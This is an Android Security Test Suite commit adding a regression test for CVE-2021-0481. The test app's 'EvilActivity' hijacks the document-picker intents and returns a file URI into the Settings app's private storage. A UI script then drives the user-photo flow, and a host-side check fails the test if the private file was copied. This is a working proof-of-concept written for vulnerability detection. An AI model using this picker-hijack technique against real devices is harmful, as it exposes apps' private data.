STS test for Android Security CVE-2021-0481

Test: sts-tradefed run sts-engbuild-no-spl-lock -m CtsSecurityBulletinHostTestCases -t android.security.cts.CVE_2021_0481
Bug: 182917454
Bug: 172939189
Change-Id: I5b933bac6a1bdef92686c97de86d028db3647d09
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0481.txt b/hostsidetests/securitybulletin/res/cve_2021_0481.txt
new file mode 100644
index 0000000..f8d64e2
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0481.txt
@@ -0,0 +1 @@
+This is cve_2021-0481.txt
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
new file mode 100644
index 0000000..81e559a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+import static org.hamcrest.CoreMatchers.*;
+
+/**
+ * Test that collects test results from test package android.security.cts.CVE_2021_0481.
+ *
+ * When this test builds, it also builds a support APK containing
+ * {@link android.sample.cts.CVE_2021_0481.SampleDeviceTest}, the results of which are
+ * collected from the hostside and reported accordingly.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0481 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0481";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0481.apk";
+
+    private static final String DEVICE_DIR1 = "/data/user_de/0/com.android.settings/shared_prefs/";
+    private static final String DEVICE_DIR2 = "/data/user_de/0/com.android.settings/cache/";
+
+    //defined originally as
+    //private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
+    //in com.android.settings.users.EditUserPhotoController class
+    private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
+    private static final String TEST_FILE_NAME = "cve_2021_0481.txt";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 172939189)
+    @AppModeFull
+    public void testRunDeviceTest() throws Exception {
+        AdbUtils.pushResource("/" + TEST_FILE_NAME, DEVICE_DIR1 + TEST_FILE_NAME, getDevice());
+        String cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
+        AdbUtils.runCommandLine(cmd, getDevice());
+
+        installPackage();
+
+        //ensure the screen is woken up.
+        //(we need to do this twice. once wakes up the screen, and another unlocks the lock screen)
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
+
+        //Check if TEST_FILE_NAME has been copied by "Evil activity"
+        //If the file has been copied then it means the vulnerability is active so the test fails.
+        cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
+        String result =  AdbUtils.runCommandLine(cmd, getDevice()).trim();
+        CLog.i(cmd + " -->" + result);
+        assertThat(result, not(is("0")));
+    }
+
+    private void installPackage() throws Exception {
+        installPackage(TEST_APP, new String[0]);
+    }
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
new file mode 100644
index 0000000..db36d6f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CVE-2021-0481",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+        "androidx.appcompat_appcompat",
+    ],
+    sdk_version: "current",
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
new file mode 100644
index 0000000..b5d4b57
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:tools="http://schemas.android.com/tools"
+          package="android.security.cts.CVE_2021_0481"
+          android:targetSandboxVersion="2">
+
+  <application>
+    <uses-library android:name="android.test.runner"/>
+
+    <activity android:name=".EvilActivity" >
+            <intent-filter android:priority="100">
+                <action android:name="android.intent.action.OPEN_DOCUMENT"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.OPENABLE"/>
+                <data android:mimeType="*/*"/>
+            </intent-filter>
+            <intent-filter android:priority="100">
+                <action android:name="android.intent.action.CREATE_DOCUMENT"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.OPENABLE"/>
+                <data android:mimeType="*/*"/>
+            </intent-filter>
+            <intent-filter android:priority="100">
+                <action android:name="android.intent.action.GET_CONTENT"/>
+                <category android:name="android.intent.category.OPENABLE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="*/*"/>
+            </intent-filter>
+            <intent-filter android:priority="100">
+                <action android:name="android.intent.action.OPEN_DOCUMENT_TREE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+    </activity>
+
+  </application>
+
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+    android:targetPackage="android.security.cts.CVE_2021_0481" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
new file mode 100644
index 0000000..535c27a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0481;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.SystemClock;
+import android.util.Log;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import androidx.test.filters.SdkSuppress;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import androidx.test.uiautomator.BySelector;
+
+import java.util.List;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+/**
+ * launch "Settings" app
+ * set up user photo
+ */
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+  class ClickableNotFound extends Exception{
+    public ClickableNotFound(String s){
+      super(s);
+    }
+  }
+
+  private static final String BASIC_SAMPLE_PACKAGE
+          = "android.security.cts.CVE_2021_0481";
+  private static final int LAUNCH_TIMEOUT_MS = 20000;
+  private static final String TAG = "TAG_2021_0481";
+  private UiDevice mDevice;
+
+  @Test
+  public void testUserPhotoSetUp() {
+
+    //set mDevice and go to homescreen
+    mDevice = UiDevice.getInstance(getInstrumentation());
+    mDevice.pressHome();
+
+    //start "Settings" app
+    Intent myIntent = new Intent("android.settings.USER_SETTINGS");
+                                //android.provider.Settings.ACTION_USER_SETTINGS
+    myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+    try{
+      getApplicationContext().startActivity(myIntent);
+    } catch(android.content.ActivityNotFoundException e){
+      Log.d(TAG, "Activity to be tested  doesn't exist. Test will pass.");
+      return;
+    }
+
+    //wait for "User Settings" activity to appear.
+    SystemClock.sleep(6000);
+
+    //perform UI test steps
+    try {
+      //in "Multiple users" activity showing "You(Owner)"
+      searchAndClick(mDevice, "You (Owner)", 2000);
+       //in "Profile Info" dialog window showing user silhouette
+      searchAndClick(mDevice, "Select photo", 2000);
+      //in unnamed subdialog showing two options: "Take a photo" "Choose an image"
+      searchAndClick(mDevice, "Choose an image", 6000);
+      //in "Browse Files in Other Apps" activity
+      searchAndClick(mDevice, "android.security.cts.CVE_2021_0481.EvilActivity", 5000);
+    } catch (ClickableNotFound e){
+      Log.d(TAG, e.toString());
+      assumeNoException(e);
+    }
+    Log.d(TAG, "end of testUserPhotoSetUp()");
+  }
+
+  //see what is on screen and click on object containing name
+  //throw exception if object not found
+  private void searchAndClick(UiDevice mDevice, String name, int timeOut) throws ClickableNotFound {
+
+    List<UiObject2> objects = mDevice.findObjects(By.clickable(true));
+    boolean clicked = false;
+    Log.d(TAG, "looking for " + name);
+    Log.d(TAG, "found " + String.valueOf(objects!=null ? objects.size() : 0) + " clickables");
+
+    if(objects != null){
+      for (UiObject2 o : objects) {
+        if(searchAndLog(o, name, ""))
+        {
+          o.click();
+          clicked=true;
+          Log.d(TAG, name + " clicked");
+          SystemClock.sleep(timeOut); //wait for click result to appear onscreen
+          break; //to avoid androidx.test.uiautomator.StaleObjectException
+        }
+      }
+    }
+    if(!clicked) {
+      throw new ClickableNotFound("\"" + name + "\" not found to click on");
+    }
+  }
+
+  //returns true if UiObject2 contains name
+  private boolean searchAndLog(UiObject2 o, String name, String prefix){
+
+    String lname = o.getText();
+    String cname = o.getClassName();
+    String cdesc  = o.getContentDescription();
+
+    Log.d(TAG, prefix + "class=" + cname);
+    Log.d(TAG, prefix + "getText()=" + lname);
+    Log.d(TAG, prefix + "getContentDescription()=" + cdesc);
+    Log.d(TAG, prefix + "o.getChildCount()=" + o.getChildCount());
+
+    if(lname != null && lname.equals(name) || cdesc != null && cdesc.equals(name)) {
+      Log.d(TAG, prefix + "found-->" + name);
+      return true;
+    } else {
+      java.util.List<UiObject2> objects2 = o.getChildren();
+      if(objects2 != null && objects2.size() > 0 && prefix.length() < 50) {
+        for (UiObject2 o2 : objects2) {
+          if(searchAndLog(o2, name, prefix + "__")){
+            return true;
+          }
+        }
+      }
+    }
+    return false;
+  }
+
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
new file mode 100644
index 0000000..92f0ec3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts.CVE_2021_0481;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+
+public class EvilActivity extends Activity {
+
+    final static String PRIVATE_URI = "file:///data/user_de/0/com.android.settings/shared_prefs/cve_2021_0481.txt";
+    private static final String TAG = "TAG_2021_0481";
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.d(TAG, "EvilActivity started!");
+        setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI)));
+        finish();
+    }
+}